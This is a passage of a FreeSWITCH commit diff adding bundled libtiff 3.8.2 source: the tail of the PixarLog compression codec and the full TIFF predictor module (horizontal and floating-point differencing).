+		n -= stride;
+	    }
+	    REPEAT(stride, wp[0] = CLAMP(ip[0]); wp--; ip--)
+	}
+    }
+}
+
+/*
+ * Encode a chunk of pixels.
+ */
+static int
+PixarLogEncode(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	PixarLogState *sp = EncoderState(tif);
+	static const char module[] = "PixarLogEncode";
+	int 	i, n, llen;
+	unsigned short * up;
+
+	(void) s;
+
+	switch (sp->user_datafmt) {
+	case PIXARLOGDATAFMT_FLOAT:
+		n = cc / sizeof(float);		/* XXX float == 32 bits */
+		break;
+	case PIXARLOGDATAFMT_16BIT:
+	case PIXARLOGDATAFMT_12BITPICIO:
+	case PIXARLOGDATAFMT_11BITLOG:
+		n = cc / sizeof(uint16);	/* XXX uint16 == 16 bits */
+		break;
+	case PIXARLOGDATAFMT_8BIT:
+	case PIXARLOGDATAFMT_8BITABGR:
+		n = cc;
+		break;
+	default:
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			"%d bit input not supported in PixarLog",
+			td->td_bitspersample);
+		return 0;
+	}
+
+	llen = sp->stride * td->td_imagewidth;
+
+	for (i = 0, up = sp->tbuf; i < n; i += llen, up += llen) {
+		switch (sp->user_datafmt)  {
+		case PIXARLOGDATAFMT_FLOAT:
+			horizontalDifferenceF((float *)bp, llen, 
+				sp->stride, up, sp->FromLT2);
+			bp += llen * sizeof(float);
+			break;
+		case PIXARLOGDATAFMT_16BIT:
+			horizontalDifference16((uint16 *)bp, llen, 
+				sp->stride, up, sp->From14);
+			bp += llen * sizeof(uint16);
+			break;
+		case PIXARLOGDATAFMT_8BIT:
+			horizontalDifference8((unsigned char *)bp, llen, 
+				sp->stride, up, sp->From8);
+			bp += llen * sizeof(unsigned char);
+			break;
+		default:
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+				"%d bit input not supported in PixarLog",
+				td->td_bitspersample);
+			return 0;
+		}
+	}
+ 
+	sp->stream.next_in = (unsigned char *) sp->tbuf;
+	sp->stream.avail_in = n * sizeof(uint16);
+
+	do {
+		if (deflate(&sp->stream, Z_NO_FLUSH) != Z_OK) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: Encoder error: %s",
+			    tif->tif_name, sp->stream.msg);
+			return (0);
+		}
+		if (sp->stream.avail_out == 0) {
+			tif->tif_rawcc = tif->tif_rawdatasize;
+			TIFFFlushData1(tif);
+			sp->stream.next_out = tif->tif_rawdata;
+			sp->stream.avail_out = tif->tif_rawdatasize;
+		}
+	} while (sp->stream.avail_in > 0);
+	return (1);
+}
+
+/*
+ * Finish off an encoded strip by flushing the last
+ * string and tacking on an End Of Information code.
+ */
+
+static int
+PixarLogPostEncode(TIFF* tif)
+{
+	PixarLogState *sp = EncoderState(tif);
+	static const char module[] = "PixarLogPostEncode";
+	int state;
+
+	sp->stream.avail_in = 0;
+
+	do {
+		state = deflate(&sp->stream, Z_FINISH);
+		switch (state) {
+		case Z_STREAM_END:
+		case Z_OK:
+		    if (sp->stream.avail_out != (uint32)tif->tif_rawdatasize) {
+			    tif->tif_rawcc =
+				tif->tif_rawdatasize - sp->stream.avail_out;
+			    TIFFFlushData1(tif);
+			    sp->stream.next_out = tif->tif_rawdata;
+			    sp->stream.avail_out = tif->tif_rawdatasize;
+		    }
+		    break;
+		default:
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: zlib error: %s",
+			tif->tif_name, sp->stream.msg);
+		    return (0);
+		}
+	} while (state != Z_STREAM_END);
+	return (1);
+}
+
+static void
+PixarLogClose(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	/* In a really sneaky maneuver, on close, we covertly modify both
+	 * bitspersample and sampleformat in the directory to indicate
+	 * 8-bit linear.  This way, the decode "just works" even for
+	 * readers that don't know about PixarLog, or how to set
+	 * the PIXARLOGDATFMT pseudo-tag.
+	 */
+	td->td_bitspersample = 8;
+	td->td_sampleformat = SAMPLEFORMAT_UINT;
+}
+
+static void
+PixarLogCleanup(TIFF* tif)
+{
+	PixarLogState* sp = (PixarLogState*) tif->tif_data;
+
+	assert(sp != 0);
+
+	(void)TIFFPredictorCleanup(tif);
+
+	tif->tif_tagmethods.vgetfield = sp->vgetparent;
+	tif->tif_tagmethods.vsetfield = sp->vsetparent;
+
+	if (sp->FromLT2) _TIFFfree(sp->FromLT2);
+	if (sp->From14) _TIFFfree(sp->From14);
+	if (sp->From8) _TIFFfree(sp->From8);
+	if (sp->ToLinearF) _TIFFfree(sp->ToLinearF);
+	if (sp->ToLinear16) _TIFFfree(sp->ToLinear16);
+	if (sp->ToLinear8) _TIFFfree(sp->ToLinear8);
+	if (sp->state&PLSTATE_INIT) {
+		if (tif->tif_mode == O_RDONLY)
+			inflateEnd(&sp->stream);
+		else
+			deflateEnd(&sp->stream);
+	}
+	if (sp->tbuf)
+		_TIFFfree(sp->tbuf);
+	_TIFFfree(sp);
+	tif->tif_data = NULL;
+
+	_TIFFSetDefaultCompressionState(tif);
+}
+
+static int
+PixarLogVSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+    PixarLogState *sp = (PixarLogState *)tif->tif_data;
+    int result;
+    static const char module[] = "PixarLogVSetField";
+
+    switch (tag) {
+     case TIFFTAG_PIXARLOGQUALITY:
+		sp->quality = va_arg(ap, int);
+		if (tif->tif_mode != O_RDONLY && (sp->state&PLSTATE_INIT)) {
+			if (deflateParams(&sp->stream,
+			    sp->quality, Z_DEFAULT_STRATEGY) != Z_OK) {
+				TIFFErrorExt(tif->tif_clientdata, module, "%s: zlib error: %s",
+					tif->tif_name, sp->stream.msg);
+				return (0);
+			}
+		}
+		return (1);
+     case TIFFTAG_PIXARLOGDATAFMT:
+	sp->user_datafmt = va_arg(ap, int);
+	/* Tweak the TIFF header so that the rest of libtiff knows what
+	 * size of data will be passed between app and library, and
+	 * assume that the app knows what it is doing and is not
+	 * confused by these header manipulations...
+	 */
+	switch (sp->user_datafmt) {
+	 case PIXARLOGDATAFMT_8BIT:
+	 case PIXARLOGDATAFMT_8BITABGR:
+	    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8);
+	    TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT);
+	    break;
+	 case PIXARLOGDATAFMT_11BITLOG:
+	    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16);
+	    TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT);
+	    break;
+	 case PIXARLOGDATAFMT_12BITPICIO:
+	    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16);
+	    TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_INT);
+	    break;
+	 case PIXARLOGDATAFMT_16BIT:
+	    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16);
+	    TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT);
+	    break;
+	 case PIXARLOGDATAFMT_FLOAT:
+	    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 32);
+	    TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_IEEEFP);
+	    break;
+	}
+	/*
+	 * Must recalculate sizes should bits/sample change.
+	 */
+	tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tsize_t) -1;
+	tif->tif_scanlinesize = TIFFScanlineSize(tif);
+	result = 1;		/* NB: pseudo tag */
+	break;
+     default:
+	result = (*sp->vsetparent)(tif, tag, ap);
+    }
+    return (result);
+}
+
+static int
+PixarLogVGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+    PixarLogState *sp = (PixarLogState *)tif->tif_data;
+
+    switch (tag) {
+     case TIFFTAG_PIXARLOGQUALITY:
+	*va_arg(ap, int*) = sp->quality;
+	break;
+     case TIFFTAG_PIXARLOGDATAFMT:
+	*va_arg(ap, int*) = sp->user_datafmt;
+	break;
+     default:
+	return (*sp->vgetparent)(tif, tag, ap);
+    }
+    return (1);
+}
+
+static const TIFFFieldInfo pixarlogFieldInfo[] = {
+    {TIFFTAG_PIXARLOGDATAFMT,0,0,TIFF_ANY,  FIELD_PSEUDO,FALSE,FALSE,""},
+    {TIFFTAG_PIXARLOGQUALITY,0,0,TIFF_ANY,  FIELD_PSEUDO,FALSE,FALSE,""}
+};
+
+int
+TIFFInitPixarLog(TIFF* tif, int scheme)
+{
+	PixarLogState* sp;
+
+	assert(scheme == COMPRESSION_PIXARLOG);
+
+	/*
+	 * Allocate state block so tag methods have storage to record values.
+	 */
+	tif->tif_data = (tidata_t) _TIFFmalloc(sizeof (PixarLogState));
+	if (tif->tif_data == NULL)
+		goto bad;
+	sp = (PixarLogState*) tif->tif_data;
+	_TIFFmemset(sp, 0, sizeof (*sp));
+	sp->stream.data_type = Z_BINARY;
+	sp->user_datafmt = PIXARLOGDATAFMT_UNKNOWN;
+
+	/*
+	 * Install codec methods.
+	 */
+	tif->tif_setupdecode = PixarLogSetupDecode;
+	tif->tif_predecode = PixarLogPreDecode;
+	tif->tif_decoderow = PixarLogDecode;
+	tif->tif_decodestrip = PixarLogDecode;
+	tif->tif_decodetile = PixarLogDecode;
+	tif->tif_setupencode = PixarLogSetupEncode;
+	tif->tif_preencode = PixarLogPreEncode;
+	tif->tif_postencode = PixarLogPostEncode;
+	tif->tif_encoderow = PixarLogEncode;
+	tif->tif_encodestrip = PixarLogEncode;
+	tif->tif_encodetile = PixarLogEncode;
+	tif->tif_close = PixarLogClose;
+	tif->tif_cleanup = PixarLogCleanup;
+
+	/* Override SetField so we can handle our private pseudo-tag */
+	_TIFFMergeFieldInfo(tif, pixarlogFieldInfo, N(pixarlogFieldInfo));
+	sp->vgetparent = tif->tif_tagmethods.vgetfield;
+	tif->tif_tagmethods.vgetfield = PixarLogVGetField;   /* hook for codec tags */
+	sp->vsetparent = tif->tif_tagmethods.vsetfield;
+	tif->tif_tagmethods.vsetfield = PixarLogVSetField;   /* hook for codec tags */
+
+	/* Default values for codec-specific fields */
+	sp->quality = Z_DEFAULT_COMPRESSION; /* default comp. level */
+	sp->state = 0;
+
+	/* we don't wish to use the predictor, 
+	 * the default is none, which predictor value 1
+	 */
+	(void) TIFFPredictorInit(tif);
+
+	/*
+	 * build the companding tables 
+	 */
+	PixarLogMakeTables(sp);
+
+	return (1);
+bad:
+	TIFFErrorExt(tif->tif_clientdata, "TIFFInitPixarLog",
+		     "No space for PixarLog state block");
+	return (0);
+}
+#endif /* PIXARLOG_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_predict.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_predict.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_predict.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_predict.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_predict.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,626 @@
+/* $Id: tif_predict.c,v 1.11 2006/03/03 14:10:09 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Predictor Tag Support (used by multiple codecs).
+ */
+#include "tiffiop.h"
+#include "tif_predict.h"
+
+#define	PredictorState(tif)	((TIFFPredictorState*) (tif)->tif_data)
+
+static	void horAcc8(TIFF*, tidata_t, tsize_t);
+static	void horAcc16(TIFF*, tidata_t, tsize_t);
+static	void swabHorAcc16(TIFF*, tidata_t, tsize_t);
+static	void horDiff8(TIFF*, tidata_t, tsize_t);
+static	void horDiff16(TIFF*, tidata_t, tsize_t);
+static	void fpAcc(TIFF*, tidata_t, tsize_t);
+static	void fpDiff(TIFF*, tidata_t, tsize_t);
+static	int PredictorDecodeRow(TIFF*, tidata_t, tsize_t, tsample_t);
+static	int PredictorDecodeTile(TIFF*, tidata_t, tsize_t, tsample_t);
+static	int PredictorEncodeRow(TIFF*, tidata_t, tsize_t, tsample_t);
+static	int PredictorEncodeTile(TIFF*, tidata_t, tsize_t, tsample_t);
+
+static int
+PredictorSetup(TIFF* tif)
+{
+	static const char module[] = "PredictorSetup";
+
+	TIFFPredictorState* sp = PredictorState(tif);
+	TIFFDirectory* td = &tif->tif_dir;
+
+	switch (sp->predictor)		/* no differencing */
+	{
+		case PREDICTOR_NONE:
+			return 1;
+		case PREDICTOR_HORIZONTAL:
+			if (td->td_bitspersample != 8
+			    && td->td_bitspersample != 16) {
+				TIFFErrorExt(tif->tif_clientdata, module,
+    "Horizontal differencing \"Predictor\" not supported with %d-bit samples",
+					  td->td_bitspersample);
+				return 0;
+			}
+			break;
+		case PREDICTOR_FLOATINGPOINT:
+			if (td->td_sampleformat != SAMPLEFORMAT_IEEEFP) {
+				TIFFErrorExt(tif->tif_clientdata, module,
+	"Floating point \"Predictor\" not supported with %d data format",
+					  td->td_sampleformat);
+				return 0;
+			}
+			break;
+		default:
+			TIFFErrorExt(tif->tif_clientdata, module,
+				  "\"Predictor\" value %d not supported",
+				  sp->predictor);
+			return 0;
+	}
+	sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ?
+	    td->td_samplesperpixel : 1);
+	/*
+	 * Calculate the scanline/tile-width size in bytes.
+	 */
+	if (isTiled(tif))
+		sp->rowsize = TIFFTileRowSize(tif);
+	else
+		sp->rowsize = TIFFScanlineSize(tif);
+
+	return 1;
+}
+
+static int
+PredictorSetupDecode(TIFF* tif)
+{
+	TIFFPredictorState* sp = PredictorState(tif);
+	TIFFDirectory* td = &tif->tif_dir;
+
+	if (!(*sp->setupdecode)(tif) || !PredictorSetup(tif))
+		return 0;
+
+	if (sp->predictor == 2) {
+		switch (td->td_bitspersample) {
+			case 8:  sp->pfunc = horAcc8; break;
+			case 16: sp->pfunc = horAcc16; break;
+		}
+		/*
+		 * Override default decoding method with one that does the
+		 * predictor stuff.
+		 */
+		sp->coderow = tif->tif_decoderow;
+		tif->tif_decoderow = PredictorDecodeRow;
+		sp->codestrip = tif->tif_decodestrip;
+		tif->tif_decodestrip = PredictorDecodeTile;
+		sp->codetile = tif->tif_decodetile;
+		tif->tif_decodetile = PredictorDecodeTile;
+		/*
+		 * If the data is horizontally differenced 16-bit data that
+		 * requires byte-swapping, then it must be byte swapped before
+		 * the accumulation step.  We do this with a special-purpose
+		 * routine and override the normal post decoding logic that
+		 * the library setup when the directory was read.
+		 */
+		if (tif->tif_flags & TIFF_SWAB) {
+			if (sp->pfunc == horAcc16) {
+				sp->pfunc = swabHorAcc16;
+				tif->tif_postdecode = _TIFFNoPostDecode;
+			} /* else handle 32-bit case... */
+		}
+	}
+
+	else if (sp->predictor == 3) {
+		sp->pfunc = fpAcc;
+		/*
+		 * Override default decoding method with one that does the
+		 * predictor stuff.
+		 */
+		sp->coderow = tif->tif_decoderow;
+		tif->tif_decoderow = PredictorDecodeRow;
+		sp->codestrip = tif->tif_decodestrip;
+		tif->tif_decodestrip = PredictorDecodeTile;
+		sp->codetile = tif->tif_decodetile;
+		tif->tif_decodetile = PredictorDecodeTile;
+		/*
+		 * The data should not be swapped outside of the floating
+		 * point predictor, the accumulation routine should return
+		 * byres in the native order.
+		 */
+		if (tif->tif_flags & TIFF_SWAB) {
+			tif->tif_postdecode = _TIFFNoPostDecode;
+		}
+		/*
+		 * Allocate buffer to keep the decoded bytes before
+		 * rearranging in the ight order
+		 */
+	}
+
+	return 1;
+}
+
+static int
+PredictorSetupEncode(TIFF* tif)
+{
+	TIFFPredictorState* sp = PredictorState(tif);
+	TIFFDirectory* td = &tif->tif_dir;
+
+	if (!(*sp->setupencode)(tif) || !PredictorSetup(tif))
+		return 0;
+
+	if (sp->predictor == 2) {
+		switch (td->td_bitspersample) {
+			case 8:  sp->pfunc = horDiff8; break;
+			case 16: sp->pfunc = horDiff16; break;
+		}
+		/*
+		 * Override default encoding method with one that does the
+		 * predictor stuff.
+		 */
+		sp->coderow = tif->tif_encoderow;
+		tif->tif_encoderow = PredictorEncodeRow;
+		sp->codestrip = tif->tif_encodestrip;
+		tif->tif_encodestrip = PredictorEncodeTile;
+		sp->codetile = tif->tif_encodetile;
+		tif->tif_encodetile = PredictorEncodeTile;
+	}
+	
+	else if (sp->predictor == 3) {
+		sp->pfunc = fpDiff;
+		/*
+		 * Override default encoding method with one that does the
+		 * predictor stuff.
+		 */
+		sp->coderow = tif->tif_encoderow;
+		tif->tif_encoderow = PredictorEncodeRow;
+		sp->codestrip = tif->tif_encodestrip;
+		tif->tif_encodestrip = PredictorEncodeTile;
+		sp->codetile = tif->tif_encodetile;
+		tif->tif_encodetile = PredictorEncodeTile;
+	}
+
+	return 1;
+}
+
+#define REPEAT4(n, op)		\
+    switch (n) {		\
+    default: { int i; for (i = n-4; i > 0; i--) { op; } } \
+    case 4:  op;		\
+    case 3:  op;		\
+    case 2:  op;		\
+    case 1:  op;		\
+    case 0:  ;			\
+    }
+
+static void
+horAcc8(TIFF* tif, tidata_t cp0, tsize_t cc)
+{
+	tsize_t stride = PredictorState(tif)->stride;
+
+	char* cp = (char*) cp0;
+	if (cc > stride) {
+		cc -= stride;
+		/*
+		 * Pipeline the most common cases.
+		 */
+		if (stride == 3)  {
+			unsigned int cr = cp[0];
+			unsigned int cg = cp[1];
+			unsigned int cb = cp[2];
+			do {
+				cc -= 3, cp += 3;
+				cp[0] = (char) (cr += cp[0]);
+				cp[1] = (char) (cg += cp[1]);
+				cp[2] = (char) (cb += cp[2]);
+			} while ((int32) cc > 0);
+		} else if (stride == 4)  {
+			unsigned int cr = cp[0];
+			unsigned int cg = cp[1];
+			unsigned int cb = cp[2];
+			unsigned int ca = cp[3];
+			do {
+				cc -= 4, cp += 4;
+				cp[0] = (char) (cr += cp[0]);
+				cp[1] = (char) (cg += cp[1]);
+				cp[2] = (char) (cb += cp[2]);
+				cp[3] = (char) (ca += cp[3]);
+			} while ((int32) cc > 0);
+		} else  {
+			do {
+				REPEAT4(stride, cp[stride] =
+					(char) (cp[stride] + *cp); cp++)
+				cc -= stride;
+			} while ((int32) cc > 0);
+		}
+	}
+}
+
+static void
+swabHorAcc16(TIFF* tif, tidata_t cp0, tsize_t cc)
+{
+	tsize_t stride = PredictorState(tif)->stride;
+	uint16* wp = (uint16*) cp0;
+	tsize_t wc = cc / 2;
+
+	if (wc > stride) {
+		TIFFSwabArrayOfShort(wp, wc);
+		wc -= stride;
+		do {
+			REPEAT4(stride, wp[stride] += wp[0]; wp++)
+			wc -= stride;
+		} while ((int32) wc > 0);
+	}
+}
+
+static void
+horAcc16(TIFF* tif, tidata_t cp0, tsize_t cc)
+{
+	tsize_t stride = PredictorState(tif)->stride;
+	uint16* wp = (uint16*) cp0;
+	tsize_t wc = cc / 2;
+
+	if (wc > stride) {
+		wc -= stride;
+		do {
+			REPEAT4(stride, wp[stride] += wp[0]; wp++)
+			wc -= stride;
+		} while ((int32) wc > 0);
+	}
+}
+
+/*
+ * Floating point predictor accumulation routine.
+ */
+static void
+fpAcc(TIFF* tif, tidata_t cp0, tsize_t cc)
+{
+	tsize_t stride = PredictorState(tif)->stride;
+	uint32 bps = tif->tif_dir.td_bitspersample / 8;
+	tsize_t wc = cc / bps;
+	tsize_t count = cc;
+	uint8 *cp = (uint8 *) cp0;
+	uint8 *tmp = (uint8 *)_TIFFmalloc(cc);
+
+	if (!tmp)
+		return;
+
+	while (count > stride) {
+		REPEAT4(stride, cp[stride] += cp[0]; cp++)
+		count -= stride;
+	}
+
+	_TIFFmemcpy(tmp, cp0, cc);
+	cp = (uint8 *) cp0;
+	for (count = 0; count < wc; count++) {
+		uint32 byte;
+		for (byte = 0; byte < bps; byte++) {
+#if WORDS_BIGENDIAN
+			cp[bps * count + byte] = tmp[byte * wc + count];
+#else
+			cp[bps * count + byte] =
+				tmp[(bps - byte - 1) * wc + count];
+#endif
+		}
+	}
+	_TIFFfree(tmp);
+}
+
+/*
+ * Decode a scanline and apply the predictor routine.
+ */
+static int
+PredictorDecodeRow(TIFF* tif, tidata_t op0, tsize_t occ0, tsample_t s)
+{
+	TIFFPredictorState *sp = PredictorState(tif);
+
+	assert(sp != NULL);
+	assert(sp->coderow != NULL);
+	assert(sp->pfunc != NULL);
+
+	if ((*sp->coderow)(tif, op0, occ0, s)) {
+		(*sp->pfunc)(tif, op0, occ0);
+		return 1;
+	} else
+		return 0;
+}
+
+/*
+ * Decode a tile/strip and apply the predictor routine.
+ * Note that horizontal differencing must be done on a
+ * row-by-row basis.  The width of a "row" has already
+ * been calculated at pre-decode time according to the
+ * strip/tile dimensions.
+ */
+static int
+PredictorDecodeTile(TIFF* tif, tidata_t op0, tsize_t occ0, tsample_t s)
+{
+	TIFFPredictorState *sp = PredictorState(tif);
+
+	assert(sp != NULL);
+	assert(sp->codetile != NULL);
+
+	if ((*sp->codetile)(tif, op0, occ0, s)) {
+		tsize_t rowsize = sp->rowsize;
+		assert(rowsize > 0);
+		assert(sp->pfunc != NULL);
+		while ((long)occ0 > 0) {
+			(*sp->pfunc)(tif, op0, (tsize_t) rowsize);
+			occ0 -= rowsize;
+			op0 += rowsize;
+		}
+		return 1;
+	} else
+		return 0;
+}
+
+static void
+horDiff8(TIFF* tif, tidata_t cp0, tsize_t cc)
+{
+	TIFFPredictorState* sp = PredictorState(tif);
+	tsize_t stride = sp->stride;
+	char* cp = (char*) cp0;
+
+	if (cc > stride) {
+		cc -= stride;
+		/*
+		 * Pipeline the most common cases.
+		 */
+		if (stride == 3) {
+			int r1, g1, b1;
+			int r2 = cp[0];
+			int g2 = cp[1];
+			int b2 = cp[2];
+			do {
+				r1 = cp[3]; cp[3] = r1-r2; r2 = r1;
+				g1 = cp[4]; cp[4] = g1-g2; g2 = g1;
+				b1 = cp[5]; cp[5] = b1-b2; b2 = b1;
+				cp += 3;
+			} while ((int32)(cc -= 3) > 0);
+		} else if (stride == 4) {
+			int r1, g1, b1, a1;
+			int r2 = cp[0];
+			int g2 = cp[1];
+			int b2 = cp[2];
+			int a2 = cp[3];
+			do {
+				r1 = cp[4]; cp[4] = r1-r2; r2 = r1;
+				g1 = cp[5]; cp[5] = g1-g2; g2 = g1;
+				b1 = cp[6]; cp[6] = b1-b2; b2 = b1;
+				a1 = cp[7]; cp[7] = a1-a2; a2 = a1;
+				cp += 4;
+			} while ((int32)(cc -= 4) > 0);
+		} else {
+			cp += cc - 1;
+			do {
+				REPEAT4(stride, cp[stride] -= cp[0]; cp--)
+			} while ((int32)(cc -= stride) > 0);
+		}
+	}
+}
+
+static void
+horDiff16(TIFF* tif, tidata_t cp0, tsize_t cc)
+{
+	TIFFPredictorState* sp = PredictorState(tif);
+	tsize_t stride = sp->stride;
+	int16 *wp = (int16*) cp0;
+	tsize_t wc = cc/2;
+
+	if (wc > stride) {
+		wc -= stride;
+		wp += wc - 1;
+		do {
+			REPEAT4(stride, wp[stride] -= wp[0]; wp--)
+			wc -= stride;
+		} while ((int32) wc > 0);
+	}
+}
+
+/*
+ * Floating point predictor differencing routine.
+ */
+static void
+fpDiff(TIFF* tif, tidata_t cp0, tsize_t cc)
+{
+	tsize_t stride = PredictorState(tif)->stride;
+	uint32 bps = tif->tif_dir.td_bitspersample / 8;
+	tsize_t wc = cc / bps;
+	tsize_t count;
+	uint8 *cp = (uint8 *) cp0;
+	uint8 *tmp = (uint8 *)_TIFFmalloc(cc);
+
+	if (!tmp)
+		return;
+
+	_TIFFmemcpy(tmp, cp0, cc);
+	for (count = 0; count < wc; count++) {
+		uint32 byte;
+		for (byte = 0; byte < bps; byte++) {
+#if WORDS_BIGENDIAN
+			cp[byte * wc + count] =	tmp[bps * count + byte];
+#else
+			cp[(bps - byte - 1) * wc + count] =
+				tmp[bps * count + byte];
+#endif
+		}
+	}
+	_TIFFfree(tmp);
+
+	cp = (uint8 *) cp0;
+	cp += cc - stride - 1;
+	for (count = cc; count > stride; count -= stride)
+		REPEAT4(stride, cp[stride] -= cp[0]; cp--)
+}
+
+static int
+PredictorEncodeRow(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	TIFFPredictorState *sp = PredictorState(tif);
+
+	assert(sp != NULL);
+	assert(sp->pfunc != NULL);
+	assert(sp->coderow != NULL);
+
+	/* XXX horizontal differencing alters user's data XXX */
+	(*sp->pfunc)(tif, bp, cc);
+	return (*sp->coderow)(tif, bp, cc, s);
+}
+
+static int
+PredictorEncodeTile(TIFF* tif, tidata_t bp0, tsize_t cc0, tsample_t s)
+{
+	TIFFPredictorState *sp = PredictorState(tif);
+	tsize_t cc = cc0, rowsize;
+	unsigned char* bp = bp0;
+
+	assert(sp != NULL);
+	assert(sp->pfunc != NULL);
+	assert(sp->codetile != NULL);
+
+	rowsize = sp->rowsize;
+	assert(rowsize > 0);
+	while ((long)cc > 0) {
+		(*sp->pfunc)(tif, bp, (tsize_t) rowsize);
+		cc -= rowsize;
+		bp += rowsize;
+	}
+	return (*sp->codetile)(tif, bp0, cc0, s);
+}
+
+#define	FIELD_PREDICTOR	(FIELD_CODEC+0)		/* XXX */
+
+static const TIFFFieldInfo predictFieldInfo[] = {
+    { TIFFTAG_PREDICTOR,	 1, 1, TIFF_SHORT,	FIELD_PREDICTOR,
+      FALSE,	FALSE,	"Predictor" },
+};
+#define	N(a)	(sizeof (a) / sizeof (a[0]))
+
+static int
+PredictorVSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	TIFFPredictorState *sp = PredictorState(tif);
+
+	assert(sp != NULL);
+	assert(sp->vsetparent != NULL);
+
+	switch (tag) {
+	case TIFFTAG_PREDICTOR:
+		sp->predictor = (uint16) va_arg(ap, int);
+		TIFFSetFieldBit(tif, FIELD_PREDICTOR);
+		break;
+	default:
+		return (*sp->vsetparent)(tif, tag, ap);
+	}
+	tif->tif_flags |= TIFF_DIRTYDIRECT;
+	return 1;
+}
+
+static int
+PredictorVGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	TIFFPredictorState *sp = PredictorState(tif);
+
+	assert(sp != NULL);
+	assert(sp->vgetparent != NULL);
+
+	switch (tag) {
+	case TIFFTAG_PREDICTOR:
+		*va_arg(ap, uint16*) = sp->predictor;
+		break;
+	default:
+		return (*sp->vgetparent)(tif, tag, ap);
+	}
+	return 1;
+}
+
+static void
+PredictorPrintDir(TIFF* tif, FILE* fd, long flags)
+{
+	TIFFPredictorState* sp = PredictorState(tif);
+
+	(void) flags;
+	if (TIFFFieldSet(tif,FIELD_PREDICTOR)) {
+		fprintf(fd, "  Predictor: ");
+		switch (sp->predictor) {
+		case 1: fprintf(fd, "none "); break;
+		case 2: fprintf(fd, "horizontal differencing "); break;
+		case 3: fprintf(fd, "floating point predictor "); break;
+		}
+		fprintf(fd, "%u (0x%x)\n", sp->predictor, sp->predictor);
+	}
+	if (sp->printdir)
+		(*sp->printdir)(tif, fd, flags);
+}
+
+int
+TIFFPredictorInit(TIFF* tif)
+{
+	TIFFPredictorState* sp = PredictorState(tif);
+
+	assert(sp != 0);
+
+	/*
+	 * Merge codec-specific tag information and
+	 * override parent get/set field methods.
+	 */
+	_TIFFMergeFieldInfo(tif, predictFieldInfo, N(predictFieldInfo));
+	sp->vgetparent = tif->tif_tagmethods.vgetfield;
+	tif->tif_tagmethods.vgetfield =
+            PredictorVGetField;/* hook for predictor tag */
+	sp->vsetparent = tif->tif_tagmethods.vsetfield;
+	tif->tif_tagmethods.vsetfield =
+            PredictorVSetField;/* hook for predictor tag */
+	sp->printdir = tif->tif_tagmethods.printdir;
+	tif->tif_tagmethods.printdir =
+            PredictorPrintDir;	/* hook for predictor tag */
+
+	sp->setupdecode = tif->tif_setupdecode;
+	tif->tif_setupdecode = PredictorSetupDecode;
+	sp->setupencode = tif->tif_setupencode;
+	tif->tif_setupencode = PredictorSetupEncode;
+
+	sp->predictor = 1;			/* default value */
+	sp->pfunc = NULL;			/* no predictor routine */
+	return 1;
+}
+
+int
+TIFFPredictorCleanup(TIFF* tif)
+{
+	TIFFPredictorState* sp = PredictorState(tif);
+
+	assert(sp != 0);
+
+	tif->tif_tagmethods.vgetfield = sp->vgetparent;
+	tif->tif_tagmethods.vsetfield = sp->vsetparent;
+	tif->tif_tagmethods.printdir = sp->printdir;
+	tif->tif_setupdecode = sp->setupdecode;
+	tif->tif_setupencode = sp->setupencode;
+
+	return 1;
